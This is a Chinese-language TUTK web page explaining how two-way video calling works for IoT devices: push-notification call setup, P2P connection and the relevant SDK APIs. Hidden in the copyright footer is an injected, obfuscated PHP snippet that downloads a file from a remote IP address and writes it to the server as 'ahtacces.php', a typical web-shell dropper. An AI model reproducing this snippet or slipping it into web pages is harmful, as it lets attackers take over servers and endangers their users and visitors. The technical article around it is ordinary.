简体中文

双向视频产品设计思路

双向视频类产品,当设备端发起呼叫时,常见的常见为:
1,设备当前无用户访问。
2,设备当前有用户访问。

设备当前无用户访问:

通常手机端都是不带UID的,所以设备要发起呼叫的时候,需要先通过消息服务器(比如TUTK的KPNS,苹果的APNS,谷歌的FCM,以及国内各大手机厂商,或者厂商自己的消息通道),发送呼叫请求的消息给手机端,手机端在用户点击消息的时候,打开APP,发起P2P连接,呼叫对应的设备。连接上后,直接互相发送音视频即可。

image.png

主要步骤如下:
  1. 设备端上线报到(因设备一般都是在线的,所以此步非必须)。
  2. 设备端广播呼叫消息给绑定的手机端。
  3. 用户点击消息,则自动打开APP,发起P2P连线。
  4. P2P连线成功,则互相发送图像和声音数据。
  5. 通话完毕,挂断。

设备当前有用户访问:

这种情景比较简单,因为用户已经连上了设备,所以设备只需要通过一条指令(比如:avSendIOCtrl(AV_CMD_DUAL_DERECTION_CALL)来通知手机端开启双向视频)。
手机端收到指令后,开始采集,编码,发送图像跟声音即可。(3.3以上的SDK,支持全双工通道,不需要另外建立通道,使用0通道即可)。
涉及到的API: avSendIOCtrl/avRecvIOCtrl,avSendFrameData/avRecvFrameData2,avSendAudioData/avRecvAudioData


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部